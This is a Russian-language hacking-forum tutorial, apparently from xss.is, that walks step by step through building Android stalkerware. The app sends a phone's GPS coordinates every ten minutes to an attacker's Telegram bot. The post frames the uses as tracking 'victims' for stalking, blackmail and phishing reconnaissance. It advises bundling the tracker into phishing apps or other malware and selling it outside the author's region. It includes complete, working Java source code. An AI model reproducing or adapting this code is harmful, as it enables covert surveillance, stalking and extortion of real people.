GPS tracker on Android + Code

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор zebra0_0
Источник https://xss.is


Всем привет, в этой статье я продолжу цепочку написания точных туториалов по созданию простого но полезного софтов на платформе Android. Как всегда писать буду на языке программирования java так как он является нативным для android и с помощью Android Studio. Для совсем зелены (Те кто разбираются могут пропустить):

Нативный язык - язык программирования который предустановлен на платформе по которой мы работаем. Почему это важно? Это сделано чтоб нам было достаточно запустить код без нужды дополнительно установки целого языка на устройство.

К сути. В данной статье я расскажу про принцип работы а главное покажу и полность розжую код простого автоматического GPS трекера.


Основная часть:
Прежде чем объяснять как создать GPS трекер надо понять зачем нам это надо

GPS трекер можно использовать в разных целях, например:

  • Отслеживание местоположения: Основная цель — узнать, где находится жертва в режиме реального времени. Это может быть полезно в случае шантажа, преследования, или для сбора компрометирующей информации о человеке.
  • Слежка за передвижениями: с помощью софта трекера можно анализировать маршруты и повседневные передвижения жертвы, чтобы понять её привычки, распорядок дня, посещаемые места.
  • Контроль за контактами: Отслеживание местоположения позволяет узнать, с кем встречается жертва, особенно если они следят за определенными людьми или местами.
  • Сбор информации для взлома: Местоположение и информация о маршрутах жертвы могут помочь в определении её дома, работы и других личных данных, что может быть полезно для более широких атак, например, фишинга, социального инжиниринга и других видов взлома.
  • Использование данных для шантажа: Если вы узнаете личные данные жертвы, то сможете использовать их для шантажа или угроз, особенно если жертва скрывает свою активность или местоположение от других людей.

Внимание: Половина методов применения носит назначение при котором вы знаете жертву, то есть работаете по своему региону. А мы участники XSS.is такое осуждаем ведь “Кто работает по ру к тем приходят по утру”. Поэтому они подходят только в целях для продажи людям вне нашего региона.

С метод применения разобрались но остаётся аспект что сами по себе они довольно бесполезны так-как закидывать целый файл ради одной слежки за телефон даже немного глупо. По-этому я советую вам использовать мои труды роботы как дополнения к более полезным функциям в качестве вишенки на торте. как пример могу привести функционал показанный в моих более ранних статьях или в качестве склейки с фишинговым программам.

Создание:
Создание каждого приложения на Android Studio можно разделить на такие пункты:

  • Выдача Разрешений
  • подбор API, фреймворков
  • Написание основного Activity
Выдача Разрешений:
Каждому Android приложению которое делают хоть что-то вне базы
требую разрешения. И для нас как для разработчиков Malware софта это очень плохо так как с каждой новой версией рамки сжимают. Например для некоторый разрешений больше не достаточно просто нажать кнопку “Разрешить” надо заходить в настройки и выдавать отдельную. галочку. Не удивлюсь если в 2050 тебе будет звонить сотрудник MicroSoft по видеосвязи и попросит устное разрешение. Но нам повезло ведь для получения гео локации пока достаточно нажать одну кнопку. Пример оставил на фото:

1729903790931.png



Как и выдать?
Для их выдачи надо прописать разрешения в файле Manifest.xml перед application.

Код:


XML: Скопировать в буфер обмена
Код:
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.INTERNET"/>
1729904179671.png


На подчёркивание в 5й строке не обрушайте внимание так-как на работо способность это не влияет.
Эти два разрешения это все которые нам нужны.

  • ACCESS_FINE_LOCATION - именно то разрешение которое даёт нам доступ к геолокации жертвы.
  • INTERNET - базовое разрешение которое не требует подтверждение от пользователя и просто даёт доступ приложению к функция интернета.
Но это не конец и после этого надо первым делом прописать запрашивание разрешений уже внутри нашего java файла, у меня это MainActivity.
код:
Java: Скопировать в буфер обмена
Код:
private void checkLocationPermission() {
    if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
        ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, LOCATION_PERMISSION_REQUEST_CODE);
    } else {
        startLocationUpdates();
    }
}

Этот код сначала проверяет, предоставлено ли разрешение. Если нет, то приложение запрашивает его у пользователя. Эта часть выполняется в методе checkLocationPermission().
  • ContextCompat.checkSelfPermission — проверяет, есть ли разрешение.
  • ActivityCompat.requestPermissions — если разрешение не предоставлено, оно запрашивается у пользователя.
После выполнения запроса результат обрабатывается в методе onRequestPermissionsResult().
Добавление зависимостей
Далее вам надо будет зайти в файл build.gradle.kts это файл в Android-проекте используется для настройки сборки проекта и управления зависимостями с помощью Kotlin DSL (Domain Specific Language). Существует два файла build.gradle.kts в каждом проекте Android: один для проекта в целом (находится в корневом каталоге) и один для каждого модуля (например, app/build.gradle.kts).
Нам нужен app/build.gradle.kts .
В нём вам надо найти dependencies (зависимости) в Android-проекте — это внешние библиотеки, модули или файлы, которые проект использует для выполнения различных задач. Эти зависимости подключаются через систему сборки Gradle. Зависимости позволяют избежать дублирования кода, экономить время разработки и улучшать производительность, используя уже готовые решения для типичных задач.

Так вот, внутрь dependencies надо вписать:

Код: Скопировать в буфер обмена
Код:
implementation ("com.google.android.gms:play-services-location:21.0.1")
implementation ("com.squareup.okhttp3:okhttp:4.9.3")

чтоб добавить эти внешние библиотеки к нам в проект.
  • com.google.android.gms:play-services-location:21.0.1 — это зависимость, которая относится к библиотекам Google Play Services и предназначена для работы с функциями местоположения на Android. Она предоставляет разработчикам доступ к API, позволяющим получать данные о местоположении устройства, управлять обновлениями местоположения и работать с геолокацией.
  • com.squareup.okhttp3:eek:khttp:4.9.3 — это зависимость для библиотеки OkHttp, которая представляет собой популярный HTTP-клиент для Java и Android, разработанный компанией Square. Эта библиотека используется для выполнения сетевых запросов, обработки ответов и управления соединениями.
почему именно OkHttp
  • Поддержка HTTP/2: OkHttp автоматически использует HTTP/2 для многопоточной передачи, что может существенно повысить производительность и снизить задержки.
  • Кэширование: Библиотека поддерживает кэширование HTTP-запросов, что помогает снизить нагрузку на сеть и улучшить скорость загрузки данных.
  • Поддержка WebSocket: OkHttp предоставляет поддержку WebSocket для двухсторонней связи в реальном времени.
  • Поддержка перезапросов: Она может автоматически повторять неудачные запросы, что делает работу с нестабильными сетями более надежной.
  • Простота использования: Библиотека имеет понятный API, что облегчает работу с HTTP-запросами.

Теперь перейдём импортам:
Java: Скопировать в буфер обмена
Код:
import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;

import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

Тут указаны все импорты которые использует приложение.

Далее создадим основные переменные для настроек проекта:

Java: Скопировать в буфер обмена
Код:
private static final String TELEGRAM_TOKEN = "Токен вашего бота";
private static final String CHAT_ID = "ваш Chat_id";
private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
private static final long INTERVAL_MS = 600000; // Интервал в 10 минут (600 000 мс)

В ним мы указываем:
  • TELEGRAM_TOKEN - Токен вашего Телеграм бота
  • CHAT_ID - Ваш Chat id по которому бот будет отправлять данные
  • INTERVAL_MS - количество мили секунд через которое будет отправляется гео позиция, без этого будет спам несколько раз в секунду. Я поставлю 10 мин что ровно 600000 мс

Настройка обновлений местоположения
Для получения GPS-данных, мы используем FusedLocationProviderClient который предоставляет API для получения и отслеживания место положения.
код:
Java: Скопировать в буфер обмена
Код:
LocationRequest locationRequest = LocationRequest.create();
locationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
locationRequest.setInterval(INTERVAL_MS);

  • LocationRequest.create() — создает объект запроса местоположения.
  • setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY) — задает высокую точность (по GPS).
  • setInterval(INTERVAL_MS) — интервал получения обновлений местоположения (10 минут).

Обработка данных о местоположении
LocationCallback отвечает за обработку данных, полученных при изменении местоположения, и вызывает метод sendLocationToTelegram() для отправки данных.
Код:
Java: Скопировать в буфер обмена
Код:
locationCallback = new LocationCallback() {
    @Override
    public void onLocationResult(LocationResult locationResult) {
        if (locationResult == null) {
            return;
        }
        for (Location location : locationResult.getLocations()) { // was made by zebra0_0 for xss.is
            if (location != null) {
                double latitude = location.getLatitude();
                double longitude = location.getLongitude();
                sendLocationToTelegram(latitude, longitude);
            }
        }
    }
};

  • LocationResult.getLocations() — возвращает список последних координат.
  • getLatitude() и getLongitude() — извлекают широту и долготу из объекта Location.

Отправка данных в Telegram
Метод sendLocationToTelegram() формирует HTTP-запрос к Telegram API с использованием библиотеки OkHttp.
Код:
Java: Скопировать в буфер обмена
Код:
private void sendLocationToTelegram(double latitude, double longitude) {
    String message = "Current Location: " + latitude + ", " + longitude;
    String url = "https://api.telegram.org/bot" + TELEGRAM_TOKEN
                 + "/sendMessage?chat_id=" + CHAT_ID
                 + "&text=" + message;

    OkHttpClient client = new OkHttpClient();
    Request request = new Request.Builder().url(url).build();

    client.newCall(request).enqueue(new Callback() {
        @Override
        public void onFailure(@NonNull Call call, @NonNull IOException e) {
            e.printStackTrace();
        }

        @Override
        public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
            if (response.isSuccessful()) {
                System.out.println("Location sent successfully"); // was made by zebra0_0 for xss.is
            } else {
                System.out.println("Error sending location: " + response.message());
            }
        }
    });
}

  • OkHttpClient — создает HTTP-клиент для отправки запроса.
  • URL — формируется с токеном бота, ID чата и текстом сообщения.
  • newCall().enqueue() — отправляет запрос в отдельном потоке, обрабатывая ответ через интерфейсы onFailure и onResponse.

Запуск периодического обновления местоположения
Чтобы отправлять местоположение каждые 10 минут, используется Handler и Runnable, которые позволяют запустить функцию отправки с установленной задержкой.

Код:
Java: Скопировать в буфер обмена
Код:
locationRunnable = new Runnable() {
    @Override
    public void run() {
        if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
            fusedLocationClient.requestLocationUpdates(locationRequest, locationCallback, null);
        }
        handler.postDelayed(this, INTERVAL_MS); // Повторяем через 10 минут
    }
};
handler.post(locationRunnable); // Запускаем Runnable

  • Runnable — в блоке кода вызывается requestLocationUpdates() каждые 10 минут.
  • handler.postDelayed() — устанавливает отложенный запуск для выполнения Runnable.

Полный процесс работы
  • Приложение запрашивает разрешение на доступ к GPS.
  • После получения разрешения начинается обновление местоположения.
  • Каждые 10 минут приложение получает координаты.
  • Местоположение отправляется в Telegram через HTTP-запрос.

Важные моменты:
  • Убедитесь, что у бота Telegram есть разрешение на отправку сообщений в чат (при необходи мости добавьте бота в чат).
  • Проверьте, что устройство подключено к интернету, иначе отправка данных не произойдет.

Про код вроде всё рассказал. Теперь перейдём к результату.
Если вы заделали всё правильно то в конечно результате вы будете получать каждые 10 мин(Или столько сколько вы указали в переменой) сообщения в автоматическом режиме от телеграмм бота.
Они будет выглядеть так:
1729906464839.png


На месте замазоного у вас после двоеточия будет 17 цифр разделённых 2 точками и 1 запятой. Но как с них достать кординаты?
Вы просто берёте эти цифры и вбиваете их в поиск google maps или других веб карт, после чего получаете максимально возможно гео точку с место нахождение телефона.
1729906898846.png


результат:
1729906925837.png


полный код:
Java: Скопировать в буфер обмена
Код:
package com.example.gps;

import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;

import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

public class MainActivity extends AppCompatActivity {

    private static final String TELEGRAM_TOKEN = "Your telgrem bot TOKEN";
    private static final String CHAT_ID = "Your Chad id";
    private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
    private static final long INTERVAL_MS = 600000; // Интервал в 10 минут (600 000 мс)  // was made by zebra0_0 for xss.is

    private FusedLocationProviderClient fusedLocationClient;
    private LocationCallback locationCallback;
    private Handler handler;
    private Runnable locationRunnable;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        fusedLocationClient = LocationServices.getFusedLocationProviderClient(this);
        handler = new Handler(Looper.getMainLooper());

        // Проверка и запрос разрешений
        checkLocationPermission();  // was made by zebra0_0 for xss.is
    }

    private void checkLocationPermission() {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
                != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, LOCATION_PERMISSION_REQUEST_CODE);
        } else {
            startLocationUpdates();
        }
    }

    private void startLocationUpdates() {
        // Создаем запрос на обновление местоположения
        LocationRequest locationRequest = LocationRequest.create();
        locationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
        locationRequest.setInterval(INTERVAL_MS); // Интервал обновления местоположения в мс

        locationCallback = new LocationCallback() {
            @Override
            public void onLocationResult(LocationResult locationResult) {
                if (locationResult == null) {
                    return;
                }
                for (Location location : locationResult.getLocations()) {
                    if (location != null) {
                        double latitude = location.getLatitude();
                        double longitude = location.getLongitude();
                        sendLocationToTelegram(latitude, longitude);
                    }
                }
            }
        };

        // Запускаем цикл отправки каждые 10 минут
        locationRunnable = new Runnable() {
            @Override
            public void run() {
                if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
                    fusedLocationClient.requestLocationUpdates(locationRequest, locationCallback, null);
                }
                handler.postDelayed(this, INTERVAL_MS); // Повторяем через 10 минут
            }
        };
        handler.post(locationRunnable); // Запускаем Runnable
    }

    private void sendLocationToTelegram(double latitude, double longitude) {
        String message = "Current Location: " + latitude + ", " + longitude;
        String url = "https://api.telegram.org/bot" + TELEGRAM_TOKEN
                + "/sendMessage?chat_id=" + CHAT_ID
                + "&text=" + message;

        OkHttpClient client = new OkHttpClient();
        Request request = new Request.Builder().url(url).build();

        client.newCall(request).enqueue(new Callback() {
            @Override
            public void onFailure(@NonNull Call call, @NonNull IOException e) {
                e.printStackTrace();
            }

            @Override
            public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
                if (response.isSuccessful()) {
                    System.out.println("Location sent successfully");        // was made by zebra0_0 for xss.is
                } else {
                    System.out.println("Error sending location: " + response.message());
                }
            }
        });
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == LOCATION_PERMISSION_REQUEST_CODE) {
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                startLocationUpdates();
            } else {
                // Действия, если пользователь отказал в разрешении
                System.out.println("Permission denied");
            }
        }
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        if (locationRunnable != null) {
            handler.removeCallbacks(locationRunnable); // Остановка цикла отправки
        }
        fusedLocationClient.removeLocationUpdates(locationCallback); // was made by zebra0_0 for xss.is
    }
}
 
Сверху Снизу